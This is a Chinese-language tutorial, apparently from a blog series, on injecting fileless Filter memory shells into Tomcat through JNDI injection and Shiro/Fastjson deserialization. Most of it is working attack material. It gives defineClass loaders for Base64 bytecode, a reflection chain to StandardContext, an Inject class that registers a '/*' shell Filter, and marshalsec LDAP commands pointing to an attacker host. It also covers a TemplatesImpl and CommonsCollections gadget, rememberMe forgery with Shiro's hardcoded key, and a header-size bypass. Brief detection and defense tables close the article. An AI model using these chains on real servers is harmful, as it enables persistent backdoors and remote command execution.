TomcatEcho 是”无 request 场景”下拿回显的兜底技术:它把「线程上下文类加载器 → 容器注册表 → 协议层请求对象」整条引用链当成跳板,用链式反射把 connector.Request 翻出来。三条核心经验:
- 任何 Web 线程都能通过
Thread.currentThread().getContextClassLoader()触达容器对象——这是所有无 request 反射链的起点; processors[]+getNote(1)是”找当前请求”的关键——协议层对象和业务层对象靠 note 槽位关联;- 防御它的本质仍是切断入口——先拿到代码执行,一切皆可发生。
延伸阅读:《反序列化与 JNDI 无文件注入内存马》 《内存马原理总纲》 《Tomcat Listener 内存马》 《Tomcat Valve 内存马》
反序列化与 JNDI 无文件注入内存马
反序列化与 JNDI 无文件注入内存马
前面 Filter / Servlet / Listener / Valve 各篇讲的是”拿到代码执行之后怎么把内存马塞进容器”。但攻击者最早是怎么拿到”代码执行”这一步的?最常见的是 反序列化(Shiro / Fastjson / CC 链)和 JNDI 注入。
这两条路有一个共同点:没有 JSP、没有 request 对象、恶意类不在 classpath。本文补齐这条从 RCE 入口到内存马落地的完整链路。
本质:用反序列化 / JNDI 把”注入类”送进 JVM,注入类在构造方法 / static 块里动态 defineClass 加载恶意 Filter,并通过无 request 反射链拿到 StandardContext 完成注册。整体框架见 《内存马原理总纲》,命令回显见 《TomcatEcho 无 request 命令回显》。
一、无文件注入的三个难点
对比 JSP 注入,无文件注入多了三个问题:
| 难点 | JSP 注入 | 无文件注入 |
|---|---|---|
| 恶意类从哪来 | 直接写在 <%! %> 里 |
恶意类不在目标 classpath,需 defineClass 动态加载 |
| StandardContext 怎么拿 | 有 request → 反射链 | 入口只有构造方法 / static 块,没有 request |
| 命令回显 | 有 response | 拿不到 response,需 TomcatEcho 链 |
二、defineClass 动态加载恶意类
2.1 为什么不能直接 new
JNDI 一次只能指向一个 class 文件;反序列化 gadget(TemplatesImpl)加载的也是一个类。而”注入器 + 恶意 Filter”至少两个类(Filter 要单独编译成 .class)。写成内部类也不行——内部类编译后仍生成独立的 class 文件。
标准做法:先用 javassist 把恶意 Filter 的字节码打成 Base64 字符串,运行时用 ClassLoader.defineClass 从字节数组还原出这个类。
// 生成端:javassist 把 ShellFilter 转成 Base64
import javassist.ClassPool;
import java.util.Base64;
public class DumpBase64 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
byte[] bytes = pool.get("ShellFilter").toBytecode();
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
}
2.2 注入端:defineClass 还原类
// 注入端:把 Base64 字节码还原成类并实例化
String code = "yv66vgAA..."; // 上面生成的 Base64
byte[] bytes = Base64.getDecoder().decode(code);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method define = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);
Filter filter = (Filter) clazz.getDeclaredConstructor().newInstance();
注意:
- 用
Thread.currentThread().getContextClassLoader(),它持有 Web 应用的类路径,能解析javax.servlet.*等依赖; defineClass是 protected,必须setAccessible(true);- JDK 9+ 推荐
getDeclaredConstructor().newInstance()(newInstance()已废弃)。
三、没有 request:怎么拿 StandardContext
JSP 注入能走 request.getServletContext() → ApplicationContext → StandardContext(见 Filter 篇)。但无文件入口(构造方法 / static 块)里没有 request,要换一条链。
3.1 从线程上下文类加载器一路往下
WebappClassLoaderBase 是 Tomcat 的 Web 应用类加载器,每个线程都能拿到它(Thread.currentThread().getContextClassLoader()),它持有 resources → StandardContext 的引用:
Thread.currentThread().getContextClassLoader()
→ (WebappClassLoaderBase)
→ resources : WebResourceRoot(StandardRoot)
→ getContext() : StandardContext
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
public StandardContext getContext() {
WebappClassLoaderBase cl =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot root = (StandardRoot) cl.getResources();
return (StandardContext) root.getContext();
}
3.2 Tomcat 9+ 兼容坑:getResources() 弃用返回 null
getResources() 在 Tomcat 9 里已弃用(Fastjson 靶机正好是 Tomcat 9,实测返回 null → NPE)。兼容写法是反射取 resources 字段:
public StandardContext getContext() {
WebappClassLoaderBase cl =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
try {
Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
field.setAccessible(true);
StandardRoot root = (StandardRoot) field.get(cl);
return (StandardContext) root.getContext();
} catch (Exception e) {
return null;
}
}
这是典型的”版本兼容”坑:
getResources()方法废弃、字段还在。利用时要根据目标 Tomcat 版本二选一;resources字段本身在不同版本间也有改名/改包名的风险,实战前需确认目标版本。
四、入口一:JNDI 注入
4.1 回顾:JNDI 注入原理
InitialContext.lookup() 参数可控时,指向攻击者的 RMI/LDAP 服务,返回恶意 Reference,目标 JVM 远程加载并实例化恶意类:
lookup("ldap://attacker:1389/Exploit")
→ LDAP 返回 Reference(指向 http://attacker/Exploit.class)
→ 目标 JVM 远程加载 Exploit.class → new Exploit() → 构造方法 / static 块执行
4.2 限制:只有三个地方会被自动执行
JNDI 远程加载的类,只有 static{}、{}(实例初始化块)、无参构造方法会被自动执行。所以注入逻辑必须写在这三个地方之一(最常用无参构造方法)。
4.3 JNDI + defineClass 组合
受害者(Tomcat 8 + JDK 8u62,8u191 之前默认可远程加载 codebase):
// 受害者:HelloServlet.doGet 里 lookup 参数可控
String name = request.getParameter("name");
Context ctx = new InitialContext();
ctx.lookup(name); // name = ldap://attacker:1389/Inject
恶意类 Inject(托管在攻击者 HTTP 服务器,无参构造方法里完成注入):
public class Inject {
public Inject() throws Exception { // ← JNDI 加载后自动执行
StandardContext context = getContext(); // 无 request 链,见第三节
Filter filter = getFilter(); // defineClass 加载恶意 Filter,见第二节
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("shell");
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell");
filterMap.addURLPattern("/*");
context.addFilterDef(filterDef);
context.addFilterMapBefore(filterMap);
context.filterStart();
}
}
攻击流程:
# 1. HTTP 托管 Inject.class
python3 -m http.server 80
# 2. marshalsec 起 LDAP/RMI 服务,引用指向 Inject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer "http://attacker/#Inject" 1389
# 3. 触发受害者
# GET /hello?name=ldap://attacker:1389/Inject
高版本 JDK 限制:JDK 8u191+ 默认禁止从远程 codebase 加载类(
com.sun.jndi.ldap.object.trustURLCodebase=false),JNDI 注入需要本地 Factory 或其他绕过。这也是很多靶场用 8u62~8u181 的原因。
五、入口二:反序列化注入(TemplatesImpl 链)
5.1 反序列化加载字节码:TemplatesImpl
Java 原生反序列化没有”直接执行任意代码”的方法,需要 gadget 链。最通用的”加载字节码并执行”载体是 TemplatesImpl:它的 _bytecodes 字段保存字节码,getTransletInstance() 会 defineClass 并实例化——但要求恶意类继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
// 恶意类:继承 AbstractTranslet,构造方法里写注入逻辑(同 4.3)
public class Inject extends AbstractTranslet {
public Inject() { /* 完成 Filter 注册 */ }
@Override public void transform(DOM d, SerializationHandler[] h) {}
@Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) {}
}
构造 TemplatesImpl(用反射设置私有字段):
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ 注入类字节码 }); // 用 javassist 取
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
5.2 触发:CC 链
反序列化入口一般是 HashMap.readObject → hashCode → TiedMapEntry → LazyMap.get → ChainedTransformer → InstantiateTransformer → TrAXFilter → TemplatesImpl.newTransformer() → getTransletInstance() → 实例化恶意类。这条 CC 链需要 commons-collections 3.2.1(Shiro 1.2.4 自带)。
5.3 Shiro 实战:rememberMe = 对象 → 序列化 → AES
Shiro 的 rememberMe 处理:Cookie 值 = Base64(AES(序列化对象))。密钥硬编码(kPH+bIxk5D2deZiIxcaaaA==)时,可伪造任意序列化数据:
// 生成 rememberMe 值
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(序列化后的CC链, key);
// 输出 → 塞进 Cookie: rememberMe=...
5.4 实战坑:Header 8k 限制 → ShellLoader 拆分
直接把”注入类(含 Filter 字节码)”塞进 rememberMe,序列化后超过 Tomcat 默认 8k 请求头上限,请求直接 400。解决思路:rememberMe 里只放一个 ShellLoader(小),真正要注册的 Filter 字节码放 POST body。
POST / HTTP/1.1
Cookie: rememberMe=<ShellLoader 的 AES 载荷> ← 反序列化触发 ShellLoader
Content-Type: application/x-www-form-urlencoded
code=<Filter 字节码的 Base64> ← POST body,不走 Header
ShellLoader(继承 AbstractTranslet,static 块执行):
public class ShellLoader extends AbstractTranslet {
static {
// 1. TomcatEcho 链拿到当前请求(见下篇),从 body 读 code 参数
// 2. defineClass 加载 code 指向的 Filter 字节码
// 3. newInstance() → Filter 的构造/初始化逻辑注册进容器
}
}
配合编译优化
-g:none去掉调试信息,能把 ShellLoader 的字节码再缩小一截,更容易塞进 8k 请求头。
六、完整攻击链
Shiro rememberMe Cookie
→ Base64 解码 → AES 解密 → 反序列化(CC 链)
→ TemplatesImpl 加载 ShellLoader 字节码并实例化
→ ShellLoader.static{} 执行
→ TomcatEcho 链拿到当前 Request(见下篇)
→ 读 POST body 的 code 参数(Filter 字节码 Base64)
→ defineClass 加载 Filter
→ 无 request 反射链拿 StandardContext(第三节)
→ addFilterDef / addFilterMapBefore / filterStart → Filter 内存马落地
→ 之后任意请求 ?cmd=xxx 即命令回显
JNDI 入口(Fastjson JdbcRowSetImpl + dataSourceName + autoCommit)同理,只是”进入 JVM”的方式从反序列化换成了 JNDI 远程加载类。
七、检测与防御
检测
| 手段 | 说明 |
|---|---|
| 入口修复 | 检查 Shiro / Fastjson 等反序列化点与 JNDI 可控 lookup(事前) |
| 监控 defineClass | RASP 监控 ClassLoader.defineClass 的非启动阶段调用 |
| 监控 JNDI | RASP 监控 InitialContext.lookup 的参数来源与调用栈 |
| 基线对比 | 注入完成后仍是 Filter 基线对比(同 Filter 篇) |
防御
| 层面 | 措施 |
|---|---|
| 事前 | 修复 Shiro 硬编码密钥、Fastjson AutoType、反序列化入口——切断”进入 JVM”这一步 |
| 升级 | JDK ≥ 8u191(JNDI 远程加载默认关闭) |
| 事中 | RASP 监控 defineClass / lookup / addFilterDef 的调用栈 |
| 事后 | Filter / Listener / Valve 基线巡检 |
总结
无文件注入与 JSP 注入的本质区别,是把前面几篇里”现成可用的 request / 类”换成三个等价物:
| JSP 注入 | 无文件注入 |
|---|---|
<%! %> 内联恶意类 |
ClassLoader.defineClass 加载字节码 |
request 反射链拿 context |
Thread.getContextClassLoader → resources → StandardContext |
response 回显 |
TomcatEcho 链(见下篇) |
记住:内存马的类型没变(还是 Filter / Listener / Valve……),变的是把注入类送进 JVM 的入口。攻击者最终都要回答同一个问题——”在我的代码里,怎么拿到容器注册表的引用”。
延伸阅读:《内存马原理总纲》 《TomcatEcho 无 request 命令回显》 《Tomcat Filter 内存马》 《Fastjson反序列化漏洞深度剖析》